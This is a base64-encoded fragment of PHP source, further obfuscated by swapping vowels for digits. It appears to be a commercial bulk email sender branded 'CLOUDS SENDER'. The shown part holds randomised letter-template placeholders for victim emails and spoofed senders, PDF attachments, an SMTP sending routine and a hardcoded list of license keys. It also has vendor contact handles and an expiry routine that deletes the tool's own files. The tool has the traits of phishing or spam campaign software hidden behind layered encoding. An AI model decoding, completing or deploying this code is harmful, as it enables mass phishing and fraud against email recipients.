X0JyMndzNXJdJywNCiAgICAgICAgJ1tVU0VSTkFNRV0nLA0KICAgICAgICAnW0RPTUFJTl0nLA0KICAgICAgICAnW0RPTUFJTkZVTExdJywNCiAgICApOw0KDQoNCiAgICRuNXcgID0gMXJyMXkoDQogICAgICAgICcnIC4gJDVtMTRsIC4gJycsDQogICAgICAgICcnIC4gJHMzYmo1Y3QgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZDRwIC4gJycsDQogICAgICAgICcnIC4gJGZyMm1tMTRsIC4gJycsDQogICAgICAgICcnIC4gJGZyMm1uMW01IC4gJycsDQogICAgICAgICcnIC4gJHIxbmQzcmxzIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRzdHIgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZHN0cjYgLiAnJywNCiAgICAgICAgJycgLiAkYzIzbnRyeSAuICcnLA0KICAgICAgICAnJyAuICRkMXQ1IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI2IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJhIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJvIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJ1IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJpIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXJlIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI3IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI4IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI5IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRuM21iNXI2MCAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjYgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXJhIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFybyAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcnUgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXJpIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyZSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjcgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI4IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyOSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjYwIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNjYgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI2YSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjZvIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNnUgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI2aSAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjZlIC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNjcgLiAnJywNCiAgICAgICAgJycgLiAkcjFuZGNoMXI2OCAuICcnLA0KICAgICAgICAnJyAuICRyMW5kY2gxcjY5IC4gJycsDQogICAgICAgICcnIC4gJHIxbmRjaDFyNjYwIC4gJycsDQogICAgICAgICcnIC4gJFBDX09TIC4gJycsDQogICAgICAgICcnIC4gJFBDX2JyMndzNXIgLiAnJywNCiAgICAgICAgJycgLiAkYzIzbnRyeWM0dHkgLiAnJywNCiAgICAgICAgJycgLiAkQW5kcjI0ZF9PUyAuICcnLA0KICAgICAgICAnJyAuICRBbmRyMjRkX0JyMndzNXIgLiAnJywNCiAgICAgICAgJycgLiAkVUEgLiAnJywNCiAgICAgICAgJycgLiAkQXBwbDVfQXBwcyAuICcnLA0KICAgICAgICAnJyAuICRBcHBsNV9ENXY0YzVfRDVza3QycCAuICcnLA0KICAgICAgICAnJyAuICRBcHBsNV9QaDJuNSAuICcnLA0KICAgICAgICAnJyAuICRMNHN0X0JyMndzNXIgLiAnJywNCiAgICAgICAgJycgLiAkM3M1cm4xbTU1bTE0bCAuICcnLA0KICAgICAgICAnJyAuICRkMm0xNG41bTE0bCAuICcnLA0KICAgICAgICAnJyAuICRkMm0xNG41bTE0bGYzbGwgLiAnJywNCg0KICAgICk7DQogICAgJHI1cGwgPSBzdHJfcjVwbDFjNSgkMXJyLCAkbjV3LCAkZjRsNSwgJHMzYmo1Y3QpOw0KICAgIHI1dDNybiAkcjVwbDsNCn07DQoNCmYzbmN0NDJuIFI1bDV0dDVyKCRsNXR0NXIsICRtMTRsdDIpDQp7DQogICAgJGY0bDUgPSBmNGw1X2c1dF9jMm50NW50cygkbDV0dDVyKTsNCiAgICAkMXJyICA9IDFycjF5KCcjIzVtMTRsIyMnKTsNCiAgICAkbjV3ICA9IDFycjF5KCcnIC4gJG0xNGx0MiAuICcnKTsNCiAgICAkcjVwbCA9IHN0cl9yNXBsMWM1KCQxcnIsICRuNXcsICRmNGw1KTsNCiAgICByNXQzcm4gJHI1cGw7DQp9Ow0KDQpmM25jdDQybiBiNXJoNW50NCgkazF0MSkNCnsNCiAgICAkayA9IHN0cmw1bigkazF0MSk7DQogICAgNGYgKCRrID09ICRrKSB7DQogICAgICAgICRwID0gczNic3RyKCRrMXQxLCAkayAtIDYpOw0KICAgICAgICA0ZiAoJHAgPT0gMCkgew0KICAgICAgICAgICAgNWNoMiAiQnI1MWsgZjJyIHUgczVjMm5kcy4uLlxuIjsNCiAgICAgICAgICAgIHNsNTVwKHUpOw0KICAgICAgICB9fX1mM25jdDQybiBTMXY1ZDF0MSgkZjRsNSwgJGQxdDEpDQp7DQogICAgJGY0bDUgPSBmMnA1bigkZjRsNSwgInciKTsNCiAgICBmcDN0cygkZjRsNSwgUEhQX0VPTCAuICRkMXQxKTsNCiAgICByNXQzcm4gZmNsMnM1KCRmNGw1KTsNCn07DQoNCmYzbmN0NDJuIFI1bTJ2NUw0bjUoJGY0bDUsICRuMW01KQ0Kew0KICAgICRnNXRmNGw1ICA9IGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1KTsNCiAgICAkczUxcmNoICAgPSA1eHBsMmQ1KCRuMW01LCAkZzV0ZjRsNSk7DQogICAgJHMxdjUgICAgID0gJHM1MXJjaFs2XTsNCiAgICAkczF2NWQxdDEgPSBTMXY1ZDF0MSgkZjRsNSwgJHMxdjUpOw0KICAgIHI1dDNybiAkczF2NWQxdDE7DQp9Ow0KDQokdDJ0MWxzNW5kPTY7DQoNCjRuY2wzZDUoJ1M1dHQ0bmdzLnBocCcpOw0Kc3lzdDVtKCdjbDUxcicpOw0KDQogICANCjVjaDIgIlw1Wzk2bT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVw1WzBtDQoNCg0KDQogICAgICAgICAuMjg4Yi4gZGIgICAgICAgLmQ4OGIuICBkYiAgICBkYiBkODg4OGIuICAgICAgICAuZDg4ODguIA0KICAgICAgICBkOFAgIFk4IDg4ICAgICAgLjhQICBZOC4gODggICAgODggODggIGA4RCAgICAgICAgODgnICBZUCANCiAgICAgICAgOFAgICAgICA4OCAgICAgIDg4ICAgIDg4IDg4ICAgIDg4IDg4ICAgODggICAgICAgIGA4YjIuICAgDQogICAgICAgIDhiICAgICAgODggICAgICA4OCAgICA4OCA4OCAgICA4OCA4OCAgIDg4IEM4ODg4RCAgIGBZOGIuIA0KICAgICAgICBZOGIgIGQ4IDg4YjIyMi4gYDhiICBkOCcgODhiICBkODggODggIC44RCAgICAgICAgZGIgICA4RCANCiAgICAgICAgIGBZODhQJyBZODg4ODhQICBgWTg4UCcgIH5ZODg4OFAnIFk4ODg4RCcgICAgICAgIGA4ODg4WScgDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICstKy0rLSstKy0rLSsNClw1Wzk2bT09PT09PT09PT09PT09PT09PT09PT09PVtcNVswbSAgIHxTfEV8TnxEfEV8UnwgIFw1WzBtIFw1Wzk2bV09PT09PT09PT09PT09PT09PT09PT09PT09PT1cNVswbQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICstKy0rLSstKy0rLSsNCg0KXDVbOTZtPT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bXDVbMG0gXDVbNjt1bXYuNi42LjZcNVswbSBcNVs5Nm1dPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cNVswbSI7DQoNCjVjaDIgIlxyXG4iOw0KDQo1Y2gyICIgICAgICAgXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cclxuIjsNCjVjaDIgIiAgICAgICBcNVs5Nm18XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzk2bXxcNVswbVxyXG4iOw0KNWNoMiAiICAgICAgIFw1Wzk2bXxcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzk2bXxcNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1Wzk2bS1cNVswbVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgQzJudDFjdCAgUzNwcDJydCBWNDE6ICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgRW0xNGwgICAgICA6IGNsMjNkcy5zNW5kNXJAZ20xNGwuYzJtICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgU2t5cDUgICAgICA6IGNsMjNkcy5zNW5kNXIgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgSUNRICAgICAgICA6IDd1aW83aTYwOCAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXHJcbiI7DQo1Y2gyICIgICAgICAgXDVbOTZtfFw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOXVtOlw1WzBtXDVbOTZtfFw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm0tXDVbMG1cNVs5Nm18XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5Nm18XDVbMG1cclxuIjsNCjVjaDIgIiAgICAgICBcNVs5Nm18XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVs5dW06XDVbMG1cNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzl1bTpcNVswbVw1Wzk2bXxcNVswbVxyXG4iOw0KNWNoMiAiICAgICAgIFw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXDVbOTZtLVw1WzBtXHJcbiI7DQo1Y2gyICJcclxuIjsNCg0KJDV4cDRyNWQgPSAodDRtNSgpID4gc3RydDJ0NG01KCdhMDY4LTZhLW82JykpOw0KNGYgKCEkNXhwNHI1ZCkgew0KfQ0KNWxzNXsNCjNubDRuaygncjUxZG01LnR4dCcpOw0KM25sNG5rKCdjbDIzZHMucGhwJyk7DQozbmw0bmsoJ1M1dHQ0bmdzLnBocCcpOw0KM25sNG5rKCc0bmNsM2Q1cy8xdHQxY2htNW50L0F0dDFjaG01bnQucGRmJyk7DQozbmw0bmsoJzRuY2wzZDVzLzVtMTRscy9zNW5kTDRzdC50eHQnKTsNCjNubDRuaygnNG5jbDNkNXMvbDV0dDVyL0w1dHQ1ci5odG1sJyk7DQpybWQ0cignNG5jbDNkNXMvMXR0MWNobTVudCcpOw0Kcm1kNHIoJzRuY2wzZDVzLzVtMTRscycpOw0Kcm1kNHIoJzRuY2wzZDVzL2w1dHQ1cicpOw0Kcm1kNHIoJzRuY2wzZDVzJyk7DQpzeXN0NW0oJ2NsNTFyJyk7DQo1Y2gyICJBY2M1c3MgRXhwNHI1ZCEgUjVuNXcgdzR0aCAzcyEhIjsNCiBkNDUoKTsNCiAgfQ0KDQogICAgJGs1eXMgPSAkQ1NDMm5mNGdbJ1QyazVuJ107DQogICAgJGs1eXYxbDRkPTFycjF5KA0KIkNMRFMtZTZYUkNPVlRORTdpYTlLb0hTSURKOEdaMFFGQkFNIiwNCiJDTERTLU85U2lQUWFaRkpNUkxXWDc4Q0R1b05BSUtIVlkwRSIsDQoiQ0xEUy11VFFaNm8wVjdKTURCZU9ZRVBIWDlBaUw4SWFHUkYiLA0KIkNMRFMtRUtPRGFJUFppOUg4QlEwWDZ1TW9BTlNDR1dWSkxSIiwNCiJDTERTLUdDQk1URllOUzlWQVdMRUt1Sk9Jb2U4aUg2WFo3USIsDQoiQ0xEUy04YVRSNmlpNlY5YTZvNlJZNjdlaTlIZVphTU4wQVkiLA0KIkNMRFMtQjlDR0h1b2VvMHV1bzk3OTBpdWU2V1NERXU3TzBKIiwNCiJDTERTLWFpUmllOFlVb3VlbzZIN29hMDBPODk2Rm9UWVU2UiIsDQoiQ0xEUy1BYTkwdThhN1JURzgwSGFvdTg4RDg2WjllOTBaWEMiLA0KIkNMRFMtWlNlODZEN2V1OUY4OWVhR1RpZWVSYWVGaVRVRzdXIiwNCiJDTERTLVNHaXVlWTdVb29vSEd1aVlIVG91ZW9IVlhlNzc4ZSIsDQoiQ0xEUy1pMHVhRm9EQkFXTWE5MGlHSEdlaUpVVEVDS0lER2kiLA0KIkNMRFMtWTA5U2lQUTZBREJHSkhUZWlDRGllRlRIS1NZMDZXIiwNCiJDTERTLUlZT1V1MEhZSkRaR2k5YVkwN0dGUjBhZVZYUVpNTCIsDQoiQ0xEUy1FRlZTN2lIQ1dlOEpLR0xQTzBPMGU5RzBUOFJvRlQiLA0KICAgICk7DQoNCmYzbmN0NDJuIEs0cjRtKCQ1bTE0bCwgJENsMjNkU1M1cnY1ciwgJENTQzJuZjRnKQ0Kew0KICAgICRzbXRwICAgICAgICAgICA9IG41dyBTTVRQOw0KICAgICRzbXRwLT5kMl9kNWIzZyA9IDA7DQoNCg0KICAgICRzbXRwczVydjVyICAgICA9ICRDbDIzZFNTNXJ2NXJbJ1NNVFAgUzVydjVyJ107DQogICAgJHNtdHBwMnJ0ICAgICAgID0gJENsMjNkU1M1cnY1clsnUDJydCddOw0KICAgICRzbXRwM3M1ciAgICAgICA9ICRDbDIzZFNTNXJ2NXJbJ1VzNXJuMW01J107DQogICAgJHNtdHBwMXNzICAgICAgID0gJENsMjNkU1M1cnY1clsnUDFzc3cycmQnXTsNCiAgICAkcHI0MnI0dHkgICAgICAgPSAk